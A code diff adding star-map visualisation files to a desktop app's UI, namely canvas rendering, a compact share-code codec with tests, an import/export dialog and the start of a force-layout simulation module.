+    const titleW = Math.max(0, ...titleLines.map(l => ctx.measureText(l).width))
+    const titleBgW = titleW + PADX * 2
+    const titleBgH = titleLines.length * LINE_H + PADY * 2
+
+    const footerText = nodeFooter(tip)
+    ctx.font = footerFont
+    const footerW = footerText ? ctx.measureText(footerText).width : 0
+
+    const totalW = Math.max(metaW, footerW, titleBgW)
+    const totalH = BADGE_H + ROW_GAP + titleBgH + (footerText ? ROW_GAP + FOOTER_H : 0)
+    const bx = clamp(projX(tip.x) - totalW / 2, 4, Math.max(4, w - totalW - 4))
+    const by = clamp(projY(tip.y) - (nodeRadius(tip) * nodeK + 8) - totalH, 4, Math.max(4, h - totalH - 4))
+    tipRect = { h: totalH, w: totalW, x: bx, y: by }
+
+    ctx.textAlign = 'left'
+    ctx.textBaseline = 'middle'
+    const badgeMidY = by + BADGE_H / 2
+
+    // Metadata row, flush at the left edge.
+    ctx.fillStyle = shade(0.7)
+    let cx = bx
+    badges.forEach((label, i) => {
+      ctx.font = badgeFontFor(i)
+      ctx.fillText(label, cx, badgeMidY)
+      cx += badgeW[i] + ITEM_GAP
+    })
+
+    if (use) {
+      ctx.font = monoFont
+      ctx.fillStyle = shade(0.5)
+      ctx.fillText(use, cx, badgeMidY)
+    }
+
+    // Title: inverted (fg/bg flipped) so the focused tooltip pops.
+    const ty = by + BADGE_H + ROW_GAP
+    ctx.fillStyle = shade(1)
+    ctx.fillRect(bx, ty, titleBgW, titleBgH)
+    ctx.font = titleFont
+    ctx.fillStyle = inkInv
+    titleLines.forEach((line, i) => {
+      ctx.fillText(line, bx + PADX, ty + PADY + LINE_H * i + LINE_H / 2)
+    })
+
+    if (footerText) {
+      ctx.font = footerFont
+      ctx.fillStyle = shade(0.45)
+      ctx.fillText(footerText, bx, ty + titleBgH + ROW_GAP + FOOTER_H / 2)
+    }
+
+    ctx.textBaseline = 'alphabetic'
+  }
+
+  // Neighbor constellation labels — greedy placement that clamps to the overlay
+  // and dodges placed labels (date labels + tooltip) so nothing overlaps/clips.
+  ctx.font = '11px ui-sans-serif, system-ui, sans-serif'
+  ctx.textAlign = 'center'
+  const LBL_M = 6
+  const LBL_H = 15
+  const placed: Rect[] = ringLabelRects.map(r => ({ h: r.h, w: r.w, x: r.x, y: r.y }))
+
+  if (tipRect) {
+    placed.push(tipRect)
+  }
+
+  for (const id of focusSet ?? []) {
+    if (id === hoverId) {
+      continue
+    }
+
+    const n = byId.get(id)
+
+    if (!n || !seen(n.rec)) {
+      continue
+    }
+
+    const label = ellipsize(ctx, n.label, Math.min(180, w * 0.32))
+    const bw = ctx.measureText(label).width + 8
+    const x = clamp(projX(n.x) - bw / 2, LBL_M, Math.max(LBL_M, w - bw - LBL_M))
+    const top = projY(n.y) - (nodeRadius(n) * nodeK + 7) - LBL_H + 4
+    const clampY = (v: number) => clamp(v, LBL_M, Math.max(LBL_M, h - LBL_H - LBL_M))
+    const step = LBL_H + 3
+    let y: null | number = null
+
+    // Prefer above the node, then fan outward; skip if nothing stays clear (a
+    // label on the tooltip reads worse than no label).
+    for (let k = 0; k <= 7 && y == null; k += 1) {
+      for (const dy of k === 0 ? [0] : [-k * step, k * step]) {
+        const cand = { h: LBL_H, w: bw, x, y: clampY(top + dy) }
+
+        if (!placed.some(p => rectsOverlap(cand, p))) {
+          y = cand.y
+
+          break
+        }
+      }
+    }
+
+    if (y == null) {
+      continue
+    }
+
+    placed.push({ h: LBL_H, w: bw, x, y })
+    ctx.fillStyle = chipBg
+    ctx.fillRect(x, y, bw, LBL_H)
+    ctx.fillStyle = shade(0.85)
+    ctx.fillText(label, x + bw / 2, y + 11)
+  }
+
+  return { animating, ringLabelRects }
+}
+
+// Glyph cells from the core's center to its rim — the target density. In the mid
+// range the field is this many cells across (constant "amount of text"), and the
+// glyph size tracks the camera. Bump for denser, drop for sparser.
+const SCRAMBLE_RADIUS = 6
+
+// Glyph size (px) is clamped to this band: the font grows with the camera but
+// never balloons on a big/zoomed-in core — past the ceiling the core fills with
+// MORE, smaller glyphs instead of fewer huge ones — and stays legible when tiny.
+const SCRAMBLE_CELL_MIN = 5
+const SCRAMBLE_CELL_MAX = 13
+
+// The empty-core scramble: a tilted, Matrix-style decoding-glyph field laid on
+// the disk plane (rows squashed by TILT, clipped to the core ellipse) so the
+// empty center reads as "computing", not missing. PURELY decorative — the glyphs
+// are a seeded PRNG field, never derived from nodes/memories. Drawn live each
+// frame on top of the cached static scene, since it's the only animated layer.
+export function drawScramble({
+  ctx,
+  dpr,
+  palette,
+  rings,
+  vp
+}: {
+  ctx: CanvasRenderingContext2D
+  dpr: number
+  palette: Palette
+  rings: Ring[]
+  vp: Viewport
+}): void {
+  const { bg, darkTheme, primary } = palette
+  const projX = (wx: number) => wx * vp.k + vp.x
+  const projY = (wy: number) => wy * vp.k * TILT + vp.y
+
+  ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+
+  const coreX = projX(0)
+  const coreY = projY(0)
+  // Scale with the world (like the rings), but ~1.25× bigger than the bare inner
+  // shell so the core reads prominently at the rested fit.
+  const coreRx = (rings[0]?.r ?? RING_INNER) * vp.k * 1.25
+
+  if (coreRx <= 0) {
+    return
+  }
+
+  // Backdrop wash: a background-colour radial dimming the core ellipse, so on a
+  // busy map the nodes/links crowding through the centre recede behind the orb.
+  // Self-masking — bg over empty bg is invisible, so a sparse map shows no disc.
+  const washR = coreRx * 1.15
+  ctx.save()
+  ctx.translate(coreX, coreY)
+  ctx.scale(1, TILT)
+  const wash = ctx.createRadialGradient(0, 0, 0, 0, 0, washR)
+  // Near-opaque across the core (busy graph effectively vanishes behind the orb)
+  // with a soft falloff only at the rim so there's no hard disc edge.
+  wash.addColorStop(0, rgba(bg, darkTheme ? 0.9 : 0.93))
+  wash.addColorStop(0.62, rgba(bg, darkTheme ? 0.84 : 0.88))
+  wash.addColorStop(1, rgba(bg, 0))
+  ctx.fillStyle = wash
+  ctx.beginPath()
+  ctx.arc(0, 0, washR, 0, Math.PI * 2)
+  ctx.fill()
+  ctx.restore()
+
+  // Target ~SCRAMBLE_RADIUS cells to the rim (camera-scaled glyphs), but clamp the
+  // glyph SIZE so a big/zoomed-in core scales the font DOWN — packing in more,
+  // smaller glyphs rather than a few giant ones — and stays legible when tiny.
+  const cell = clamp(coreRx / SCRAMBLE_RADIUS, SCRAMBLE_CELL_MIN, SCRAMBLE_CELL_MAX)
+  // Aspect-correct on the tilt: rows are spaced by the full glyph height (square
+  // cells, no vertical squish), but the field is clipped to the disk's ELLIPSE
+  // (vertical extent = coreRx * TILT), so it sits on the tilted plane while the
+  // glyphs themselves stay un-squished. Fewer rows fit vertically — that's it.
+  const coreRy = coreRx * TILT
+  const half = Math.max(3, Math.round(coreRx / cell))
+  const now = performance.now()
+  const t = now / 1000 // seconds, for the travelling-glow highlight
+
+  ctx.save()
+  ctx.font = `${cell}px "JetBrains Mono", "Hiragino Sans", "Noto Sans JP", ui-monospace, monospace`
+  ctx.textAlign = 'center'
+  ctx.textBaseline = 'middle'
+
+  for (let r = -half; r <= half; r += 1) {
+    // Per-row flow: half the rows drift left, half right, each at its own speed.
+    // The drift is a continuous pixel scroll (not a per-cell swap), and each
+    // glyph's identity is tied to its slot index — so a character visibly slides
+    // across instead of the whole row flickering in place. Combined with the
+    // TILT squash + opposite directions, the field reads as a turning surface.
+    const rowSeed = (r * 19349663) >>> 0 || 1
+    const dir = rowSeed & 1 ? 1 : -1
+    const speed = 8 + (rowSeed % 16) // px/sec
+    const scroll = (now / 1000) * speed * dir
+    const ny = (r * cell) / coreRy
+    // Latitude dimming: rows away from the equator fade, selling the sphere read.
+    const rowDim = 1 - 0.5 * Math.min(1, Math.abs(ny))
+    const kMin = Math.floor((-coreRx - scroll) / cell) - 1
+    const kMax = Math.ceil((coreRx - scroll) / cell) + 1
+
+    for (let k = kMin; k <= kMax; k += 1) {
+      const sx = k * cell + scroll // screen-space x relative to the core center
+      const nx = sx / coreRx
+      const d2 = nx * nx + ny * ny
+
+      if (d2 > 1) {
+        continue
+      }
+
+      const seed = (rowSeed ^ ((k >>> 0) * 73856093)) >>> 0
+      const ch = SCRAMBLE_CHARS[seed % SCRAMBLE_CHARS.length] ?? '0'
+      // Mostly flat brightness, fading only near the rim (reduced gradient).
+      const edge = clamp((1 - Math.sqrt(d2)) / 0.4, 0, 1)
+      const flick = 0.7 + 0.3 * (((seed >>> 5) % 100) / 100)
+      // Travelling glow: two crossing sine waves (drifting in time) light a
+      // lattice of bright spots that ripple ACROSS the orb — so the highlight
+      // moves and twinkles instead of being a fixed random set. A per-glyph
+      // phase keeps neighbours from pulsing in lockstep.
+      const phase = (seed & 7) * 0.35
+      const glow = Math.sin(nx * 4.5 + t * 1.3 + phase) * Math.sin(ny * 4.5 - t * 0.9 + phase)
+      const pop = 1 + clamp((glow - 0.25) / 0.75, 0, 1) * 2.6
+      const a = clamp((darkTheme ? 0.22 : 0.3) * edge * flick * rowDim * pop, 0, 0.9)
+
+      if (a < 0.02) {
+        continue
+      }
+
+      ctx.fillStyle = rgba(primary, a)
+      ctx.fillText(ch, coreX + sx, coreY + r * cell)
+    }
+  }
+
+  ctx.restore()
+  ctx.globalAlpha = 1
+}
diff --git a/ui-desktop/src/app/starmap/share-code.test.ts b/ui-desktop/src/app/starmap/share-code.test.ts
new file mode 100644
index 000000000..f9ba83621
--- /dev/null
+++ b/ui-desktop/src/app/starmap/share-code.test.ts
@@ -0,0 +1,173 @@
+import { describe, expect, it } from 'vitest'
+
+import type { StarmapGraph } from '@/types/clawcodex'
+
+import { decodeShareCode, encodeShareCode, ShareCodeError } from './share-code'
+
+function sampleGraph(): StarmapGraph {
+  return {
+    clusters: [],
+    edges: [
+      { source: 'skill-a', target: 'skill-b' },
+      { source: 'skill-b', target: 'memory:profile:0' }
+    ],
+    memory: [
+      { body: 'Prefers concise answers.', source: 'profile', timestamp: 1_700_000_000, title: 'Tone' },
+      { body: 'Uses a worktree.', source: 'memory', timestamp: null, title: 'Env' }
+    ],
+    nodes: [
+      {
+        category: 'devops',
+        createdBy: 'agent',
+        id: 'skill-a',
+        kind: 'skill',
+        label: 'skill-a',
+        pinned: true,
+        state: 'active',
+        timestamp: 1_699_900_000,
+        useCount: 7
+      },
+      {
+        category: 'devops',
+        createdBy: null,
+        id: 'skill-b',
+        kind: 'skill',
+        label: 'skill-b',
+        pinned: false,
+        state: 'draft',
+        timestamp: 1_699_950_000,
+        useCount: 0
+      },
+      {
+        category: 'memory',
+        createdBy: null,
+        id: 'memory:profile:0',
+        kind: 'memory',
+        label: 'A fact',
+        memorySource: 'profile',
+        pinned: false,
+        state: 'active',
+        timestamp: 1_700_000_000,
+        useCount: 0
+      }
+    ],
+    stats: {}
+  }
+}
+
+// Decoded edges compared by node POSITION (ids are synthesized), so topology is
+// the invariant, not the literal id strings.
+const topology = (g: StarmapGraph): [number, number][] => {
+  const idx = new Map(g.nodes.map((n, i) => [n.id, i]))
+
+  return g.edges.map(e => [idx.get(e.source)!, idx.get(e.target)!])
+}
+
+describe('share-code', () => {
+  // The viz contract: everything the star map RENDERS survives — kinds, radius
+  // inputs, time position, edge topology — while text is dropped (it's a loadout,
+  // not a backup).
+  it('preserves the visualization', () => {
+    const g = sampleGraph()
+    const decoded = decodeShareCode(encodeShareCode(g))
+    const span = 1_700_000_000 - 1_699_900_000
+    const tol = Math.ceil(span / 4095) + 1
+
+    expect(decoded.nodes).toHaveLength(g.nodes.length)
+
+    decoded.nodes.forEach((d, i) => {
+      const o = g.nodes[i]!
+      expect(d.kind).toBe(o.kind)
+      expect(d.label).toBe(o.label)
+      expect(d.useCount).toBe(o.useCount)
+      expect(d.state).toBe(o.state)
+      expect(d.pinned).toBe(o.pinned)
+      expect(d.category).toBe(o.category)
+      expect(d.memorySource).toBe(o.memorySource)
+      expect(d.createdBy).toBe(o.createdBy)
+
+      if (o.timestamp == null) {
+        expect(d.timestamp).toBeNull()
+      } else {
+        expect(Math.abs((d.timestamp ?? 0) - o.timestamp)).toBeLessThanOrEqual(tol)
+      }
+    })
+
+    expect(topology(decoded)).toEqual(topology(g))
+  })
+
+  it('drops memory prose (loadout is viz-only)', () => {
+    expect(decodeShareCode(encodeShareCode(sampleGraph())).memory).toHaveLength(0)
+  })
+
+  it('rebuilds clusters from node categories', () => {
+    const decoded = decodeShareCode(encodeShareCode(sampleGraph()))
+
+    expect(decoded.clusters.find(c => c.category === 'devops')?.count).toBe(2)
+  })
+
+  it('produces a short, opaque, prefixed code', () => {
+    const code = encodeShareCode(sampleGraph())
+
+    expect(code.startsWith('HML')).toBe(true)
+    expect(code.slice(3)).toMatch(/^[A-Za-z0-9_-]+$/)
+    // Strictly smaller than the naive JSON it replaces — the whole point.
+    expect(code.length).toBeLessThan(JSON.stringify(sampleGraph()).length)
+  })
+
+  it('stays compact on a large graph (no string bloat)', () => {
+    const nodes = Array.from({ length: 500 }, (_, i) => ({
+      category: `cat-${i % 8}`,
+      createdBy: 'agent' as const,
+      id: `s${i}`,
+      kind: 'skill' as const,
+      label: `A fairly verbose skill label number ${i}`,
+      pinned: false,
+      state: 'active',
+      timestamp: 1_700_000_000 + i * 3600,
+      useCount: i % 50
+    }))
+
+    const graph: StarmapGraph = { clusters: [], edges: [], memory: [], nodes, stats: {} }
+    const code = encodeShareCode(graph)
+
+    // Deflate keeps even verbose, repetitive labels far below the naive JSON.
+    expect(code.length).toBeLessThan(JSON.stringify(graph).length / 5)
+  })
+
+  it('handles an empty graph', () => {
+    const decoded = decodeShareCode(encodeShareCode({ clusters: [], edges: [], memory: [], nodes: [], stats: {} }))
+
+    expect(decoded.nodes).toHaveLength(0)
+    expect(decoded.edges).toHaveLength(0)
+  })
+
+  it('drops edges whose endpoints are missing', () => {
+    const g = sampleGraph()
+    g.edges.push({ source: 'skill-a', target: 'does-not-exist' })
+
+    expect(decodeShareCode(encodeShareCode(g)).edges).toHaveLength(2)
+  })
+
+  it('rejects garbage with a ShareCodeError', () => {
+    expect(() => decodeShareCode('not a real code !!!')).toThrow(ShareCodeError)
+    expect(() => decodeShareCode('')).toThrow(ShareCodeError)
+  })
+
+  it('rejects a corrupted (bit-flipped) code', () => {
+    const code = encodeShareCode(sampleGraph())
+    // Flip a mid-payload char (trailing base64 bits can be dropped on decode).
+    const i = Math.floor(code.length / 2)
+    const corrupted = code.slice(0, i) + (code[i] === 'A' ? 'B' : 'A') + code.slice(i + 1)
+
+    expect(() => decodeShareCode(corrupted)).toThrow(ShareCodeError)
+  })
+
+  it('tolerates whitespace, including internal wraps', () => {
+    const code = encodeShareCode(sampleGraph())
+    const wrapped = `  ${code.slice(0, 20)}\n${code.slice(20)}\t`
+
+    expect(() => decodeShareCode(wrapped)).not.toThrow()
+    expect(decodeShareCode(wrapped).nodes).toHaveLength(sampleGraph().nodes.length)
+  })
+})
diff --git a/ui-desktop/src/app/starmap/share-code.ts b/ui-desktop/src/app/starmap/share-code.ts
new file mode 100644
index 000000000..e59489c35
--- /dev/null
+++ b/ui-desktop/src/app/starmap/share-code.ts
@@ -0,0 +1,188 @@
+import { type BitReader, type BitWriter, createLoadout, Dict, idxOf, indexBits, LoadoutError } from '@/lib/loadout'
+import type { StarmapEdge, StarmapGraph, StarmapNode } from '@/types/clawcodex'
+
+// ── Star-map share code ───────────────────────────────────────────────────────
+//
+// The body schema for a star map, riding the generic loadout codec (@/lib/loadout
+// owns the bitstream, DEFLATE, version+checksum frame, and base64url). We encode
+// what the map RENDERS — each node's kind, its time POSITION (12-bit quantized,
+// not an absolute epoch), radius inputs (useCount/state/pinned), and an interned
+// label + category — plus edges as fixed-width node indices. Memory prose is
+// dropped; labels are trimmed. DEFLATE then makes the repetitive label/category
+// text almost free. A 60-skill map is a few hundred chars.
+
+const VERSION = 3
+const PREFIX = 'HML' // "ClawCodex Memory Loadout" — namespaces our codes like WoW's leading bytes.
+const MAX_LABEL = 64 // trim runaway memory titles so one card can't bloat the code.
+
+const trim = (s: string): string => (s.length > MAX_LABEL ? s.slice(0, MAX_LABEL) : s)
+
+const KINDS = ['skill', 'memory'] as const
+const STATES = ['active', 'archived', 'disabled', 'draft'] as const
+const MEM_SOURCES = ['none', 'memory', 'profile'] as const
+const CREATED_BY = ['none', 'agent', 'user'] as const
+
+const REC_BITS = 12 // time position resolution: 1/4096 of the span — sub-pixel here.
+const REC_MAX = (1 << REC_BITS) - 1
+
+const finiteTs = (v?: null | number): null | number =>
+  typeof v === 'number' && Number.isFinite(v) ? Math.max(0, Math.round(v)) : null
+
+function writeNode(w: BitWriter, n: StarmapNode, dict: Dict, minTs: number, span: number): void {
+  w.uint(idxOf(KINDS, n.kind), 1)
+  w.varint(dict.id(trim(n.label || '')))
+  w.varint(dict.id(n.category || ''))
+  w.varint(Math.max(0, n.useCount | 0))
+  w.uint(idxOf(STATES, n.state), 2)
+  w.uint(idxOf(MEM_SOURCES, n.memorySource ?? 'none'), 2)
+  w.uint(idxOf(CREATED_BY, n.createdBy ?? 'none'), 2)
+  w.bit(n.pinned)
+
+  // Time as a 12-bit POSITION within [minTs, maxTs] — not an absolute epoch.
+  const ts = finiteTs(n.timestamp)
+
+  if (ts === null) {
+    w.bit(0)
+  } else {
+    w.bit(1)
+    w.uint(span > 0 ? Math.round(((ts - minTs) / span) * REC_MAX) : 0, REC_BITS)
+  }
+}
+
+function readNode(r: BitReader, dict: string[], i: number, minTs: number, span: number): StarmapNode {
+  const kind = KINDS[r.uint(1)] ?? 'skill'
+  const label = dict[r.varint()] ?? ''
+  const category = dict[r.varint()] ?? ''
+  const useCount = r.varint()
+  const state = STATES[r.uint(2)] ?? 'active'
+  const memSrc = MEM_SOURCES[r.uint(2)] ?? 'none'
+  const createdBy = CREATED_BY[r.uint(2)] ?? 'none'
+  const pinned = r.bit() === 1
+  const timestamp = r.bit() === 1 ? minTs + (span > 0 ? Math.round((r.uint(REC_BITS) / REC_MAX) * span) : 0) : null
+
+  // Ids are synthesized (they're never displayed); memory ids mirror the scan's
+  // `memory:<source>:<index>` shape so the rest of the UI is none the wiser.
+  const isMemory = kind === 'memory'
+  const source = memSrc === 'none' ? 'memory' : memSrc
+
+  return {
+    category,
+    createdBy: createdBy === 'none' ? null : createdBy,
+    id: isMemory ? `memory:${source}:${i}` : `s${i}`,
+    kind,
+    label,
+    memorySource: isMemory ? source : undefined,
+    pinned,
+    state,
+    timestamp,
+    useCount
+  }
+}
+
+function writeGraph(w: BitWriter, graph: StarmapGraph): void {
+  const dict = new Dict()
+
+  // Intern labels + categories; deflate later squeezes the inevitable repetition.
+  for (const n of graph.nodes) {
+    dict.id(trim(n.label || ''))
+    dict.id(n.category || '')
+  }
+
+  const stamps = graph.nodes.map(n => finiteTs(n.timestamp)).filter((v): v is number => v !== null)
+  const minTs = stamps.length ? Math.min(...stamps) : 0
+  const maxTs = stamps.length ? Math.max(...stamps) : 0
+  const span = maxTs - minTs
+
+  w.varint(minTs)
+  w.varint(maxTs)
+  w.varint(dict.list.length)
+
+  for (const s of dict.list) {
+    w.str(s)
+  }
+
+  w.varint(graph.nodes.length)
+
+  for (const n of graph.nodes) {
+    writeNode(w, n, dict, minTs, span)
+  }
+
+  // Edges reference nodes by position; drop any whose endpoints aren't both nodes.
+  const order = new Map(graph.nodes.map((n, i) => [n.id, i]))
+  const edges = graph.edges.filter(e => order.has(e.source) && order.has(e.target))
+  const bits = indexBits(graph.nodes.length)
+  w.varint(edges.length)
+
+  for (const e of edges) {
+    w.uint(order.get(e.source)!, bits)
+    w.uint(order.get(e.target)!, bits)
+  }
+}
+
+function readGraph(r: BitReader): StarmapGraph {
+  const minTs = r.varint()
+  const maxTs = r.varint()
+  const span = maxTs - minTs
+
+  const dictLen = r.varint()
+  const dict: string[] = []
+
+  for (let i = 0; i < dictLen; i += 1) {
+    dict.push(r.str())
+  }
+
+  const nodeCount = r.varint()
+  const nodes: StarmapNode[] = []
+
+  for (let i = 0; i < nodeCount; i += 1) {
+    nodes.push(readNode(r, dict, i, minTs, span))
+  }
+
+  const bits = indexBits(nodeCount)
+  const edgeCount = r.varint()
+  const edges: StarmapEdge[] = []
+
+  for (let i = 0; i < edgeCount; i += 1) {
+    const src = nodes[r.uint(bits)]
+    const dst = nodes[r.uint(bits)]
+
+    if (src && dst) {
+      edges.push({ source: src.id, target: dst.id })
+    }
+  }
+
+  const counts = new Map<string, number>()
+
+  for (const n of nodes) {
+    counts.set(n.category, (counts.get(n.category) ?? 0) + 1)
+  }
+
+  const clusters = [...counts.entries()]
+    .map(([category, count]) => ({ category, count }))
+    .sort((a, b) => b.count - a.count)
+
+  // Memory cards are dropped (viz-only); a marker lets the UI tell a decoded map
+  // apart from a freshly-scanned one.
+  return { clusters, edges, memory: [], nodes, stats: { imported: true } }
+}
+
+export class ShareCodeError extends LoadoutError {}
+
+const codec = createLoadout<StarmapGraph>({
+  error: ShareCodeError,
+  noun: 'map code',
+  prefix: PREFIX,
+  read: readGraph,
+  version: VERSION,
+  write: writeGraph
+})
+
+// Serialize a star-map graph to a short, opaque, clipboard-safe loadout string.
+export function encodeShareCode(graph: StarmapGraph): string {
+  return codec.encode(graph)
+}
+
+// Parse a loadout string back into a (viz-complete, text-synthesized) graph.
+export function decodeShareCode(code: string): StarmapGraph {
+  return codec.decode(code)
+}
diff --git a/ui-desktop/src/app/starmap/share-controls.test.tsx b/ui-desktop/src/app/starmap/share-controls.test.tsx
new file mode 100644
index 000000000..048b28e12
--- /dev/null
+++ b/ui-desktop/src/app/starmap/share-controls.test.tsx
@@ -0,0 +1,24 @@
+import { cleanup, fireEvent, render, screen, within } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { ShareControls } from './share-controls'
+
+describe('ShareControls', () => {
+  afterEach(() => {
+    cleanup()
+  })
+
+  it('opens its dialog when the trigger has a tooltip', async () => {
+    render(<ShareControls shareCode="map-code" />)
+
+    const trigger = screen.getByRole('button', { name: 'Import / export map' })
+
+    fireEvent.pointerMove(trigger, { pointerType: 'mouse' })
+    expect((await screen.findByRole('tooltip')).textContent).toContain('Import / export map')
+
+    fireEvent.click(trigger)
+
+    const dialog = await screen.findByRole('dialog')
+    expect(within(dialog).getByRole('heading', { name: 'Import / export map' })).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/starmap/share-controls.tsx b/ui-desktop/src/app/starmap/share-controls.tsx
new file mode 100644
index 000000000..1d62bfbb4
--- /dev/null
+++ b/ui-desktop/src/app/starmap/share-controls.tsx
@@ -0,0 +1,134 @@
+import { useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { CopyButton } from '@/components/ui/copy-button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+  DialogTrigger
+} from '@/components/ui/dialog'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { Upload } from '@/lib/icons'
+
+interface ShareControlsProps {
+  // True when the shown map was loaded from a pasted code (not the live scan).
+  imported?: boolean
+  // Decode + apply a pasted code. Returns an error string to show inline, or null.
+  onImport?: (code: string) => null | string
+  onResetMap?: () => void
+  // The current map serialized as a WoW-style share code (the copy target).
+  shareCode?: string
+}
+
+// Share / import a map as a single code. The textarea shows the current map's
+// code (copy it to share); edit/replace it and hit Load to view someone else's.
+// One field, one button — a standard Dialog matching rename/create.
+export function ShareControls({ imported = false, onImport, onResetMap, shareCode }: ShareControlsProps) {
+  const { t } = useI18n()
+  const [open, setOpen] = useState(false)
+  const [value, setValue] = useState('')
+  const [error, setError] = useState<null | string>(null)
+
+  const own = (shareCode ?? '').trim()
+  const code = value.trim()
+  const canLoad = code !== '' && code !== own
+
+  const load = () => {
+    if (!code) {
+      setError(t.starmap.importEmpty)
+
+      return
+    }
+
+    const err = onImport?.(code) ?? null
+    setError(err)
+
+    if (err === null) {
+      setOpen(false)
+    }
+  }
+
+  return (
+    <div className="flex items-center gap-1">
+      {imported && (
+        <Button
+          className="text-muted-foreground hover:text-foreground"
+          onClick={() => onResetMap?.()}
+          size="xs"
+          variant="text"
+        >
+          {t.starmap.resetToMine}
+        </Button>
+      )}
+
+      <Dialog
+        onOpenChange={next => {
+          setOpen(next)
+          setError(null)
+
+          if (next) {
+            setValue(shareCode ?? '')
+          }
+        }}
+        open={open}
+      >
+        <Tip label={t.starmap.shareTitle}>
+          <DialogTrigger asChild>
+            <Button
+              aria-label={t.starmap.shareTitle}
+              className="text-muted-foreground hover:text-foreground"
+              size="icon"
+              variant="ghost"
+            >
+              <Upload className="size-3.5" />
+            </Button>
+          </DialogTrigger>
+        </Tip>
+
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>{t.starmap.shareTitle}</DialogTitle>
+            <DialogDescription>{t.starmap.shareHint}</DialogDescription>
+          </DialogHeader>
+
+          {/* One code field: pre-filled with this map's code (copy to share); edit
+            or paste another and Load. Copy button floats in on hover, like a
+            thread code block. */}
+          <div className="group/code relative">
+            <textarea
+              aria-label={t.starmap.shareTitle}
+              className="h-24 w-full resize-none rounded-md bg-foreground/5 p-2.5 pr-9 font-mono text-xs leading-relaxed break-all text-muted-foreground/90 outline-none transition placeholder:text-muted-foreground/50 focus-visible:text-foreground focus-visible:ring-1 focus-visible:ring-ring/40"
+              onChange={e => {
+                setValue(e.target.value)
+                setError(null)
+              }}
+              placeholder={t.starmap.sharePlaceholder}
+              spellCheck={false}
+              value={value}
+            />
+            {code !== '' && (
+              <CopyButton
+                appearance="inline"
+                className="absolute right-1.5 top-1.5 h-5 gap-0 rounded-md px-1 opacity-0 transition-opacity focus-visible:opacity-100 group-hover/code:opacity-100 hover:opacity-100"
+                iconClassName="size-3"
+                label={t.starmap.copy}
+                showLabel={false}
+                text={value}
+              />
+            )}
+          </div>
+
+          {error && <p className="text-[0.7rem] text-destructive">{error}</p>}
+
+          <Button className="w-full" disabled={!canLoad} onClick={load} type="button">
+            {t.starmap.importBtn}
+          </Button>
+        </DialogContent>
+      </Dialog>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/starmap/simulation.ts b/ui-desktop/src/app/starmap/simulation.ts
new file mode 100644
index 000000000..05adf3149
--- /dev/null
+++ b/ui-desktop/src/app/starmap/simulation.ts
@@ -0,0 +1,298 @@
+import { forceCollide, forceLink, forceManyBody, forceRadial, forceSimulation, type Simulation } from 'd3-force'
+
+import type { StarmapGraph, StarmapNode } from '@/types/clawcodex'
+
+import { RING_STEPS } from './constants'
+import { clamp, hash, nodeRadius, radiusForRecency } from './geometry'
+import { formatDate } from './text'
+import { computeRecency, recForRatio } from './time-axis'
+import type { Ring, SimLink, SimNode } from './types'
+
+export interface BuiltSim {
+  byId: Map<string, SimNode>
+  links: SimLink[]
+  nodes: SimNode[]
+  rings: Ring[]
+  sim: Simulation<SimNode, SimLink>
+}
+
+const DAY = 86_400
+
+// Roughly how many nodes share one ignite burst within a ring band — the build
+// reads as clustered pops, not a 1-by-1 trickle or an all-at-once flood.
+const CLUSTER_SIZE = 5
+
+// Constant ring SCALE: the core radius and the per-ring band are pinned to the
+// canonical 5-ring layout, so the empty core and every band are ALWAYS that
+// size on the disk — more data grows the disk OUTWARD (more rings) instead of
+// stretching a fixed disk thinner. The camera caps its zoom at the 5-ring
+// extent (see fitViewport), so this world size is also a constant screen size.
+const RING_CORE = radiusForRecency(recForRatio(0))
+const RING_BAND = (radiusForRecency(recForRatio(1)) - RING_CORE) / RING_STEPS
+const ringRadius = (i: number): number => RING_CORE + i * RING_BAND
+
+// Place a node INSIDE its ring's band (the annulus the ring caps), biased toward
+// mid-band so it reads as "within the ring", only occasionally grazing an edge —
+// never sitting on the outline like a bead.
+const placeRadius = (i: number, id: string): number => {
+  const outer = ringRadius(i)
+  const inner = i > 0 ? ringRadius(i - 1) : RING_CORE - RING_BAND * 0.5
+  const h = (hash(id) % 1000) / 1000
+
+  return outer - (0.15 + 0.7 * h) * (outer - inner)
+}
+
+interface Unit {
+  kind: 'day' | 'month'
+  step: number
+}
+
+// "Nice" calendar intervals, fine → coarse, WITH intermediate rungs (2-day,
+// bi-weekly, 2/3/6-month) so the bucketer can land NEAR the target count instead
+// of jumping straight from weekly (≈9) to monthly (≈3) and missing the ~5 sweet spot.
+const UNITS: Unit[] = [
+  { kind: 'day', step: 1 },
+  { kind: 'day', step: 2 },
+  { kind: 'day', step: 7 },
+  { kind: 'day', step: 14 },
+  { kind: 'month', step: 1 },
+  { kind: 'month', step: 2 },
+  { kind: 'month', step: 3 },
+  { kind: 'month', step: 6 },
+  { kind: 'month', step: 12 }
+]
+
+// Floor a timestamp to the start of its calendar bucket — the key nodes group by.
+function bucketStart(ts: number, { kind, step }: Unit): number {
+  if (kind === 'day') {
+    const period = step * DAY
+
+    return Math.floor(ts / period) * period
+  }
+
+  const d = new Date(ts * 1000)
+  d.setUTCHours(0, 0, 0, 0)
+  // Floor to a step-month boundary in ABSOLUTE months so steps align across
+  // years (3-month → Jan/Apr/Jul/Oct, 12-month → Jan).
+  const absMonth = Math.floor((d.getUTCFullYear() * 12 + d.getUTCMonth()) / step) * step
+  d.setUTCFullYear(Math.floor(absMonth / 12), absMonth % 12, 1)
+
+  return Math.floor(d.getTime() / 1000)
+}
+
+const populatedStarts = (stamps: number[], u: Unit): number[] =>
+  [...new Set(stamps.map(t => bucketStart(t, u)))].sort((a, b) => a - b)
+
+// "Nice ticks" for time (à la D3/Heckbert): aim for a target ring count that
+// grows ~log2 with the span, then snap to the calendar interval whose POPULATED
+// count lands nearest it (ties + overshoot break toward fewer/finer). The floor
+// is 5 — fewer than that and the play-through "steps" between rings get big and
+// abrupt; ~5+ evenly-paced rings give the smooth Spore-style build-up.
+function chooseUnit(stamps: number[], spanDays: number): Unit {
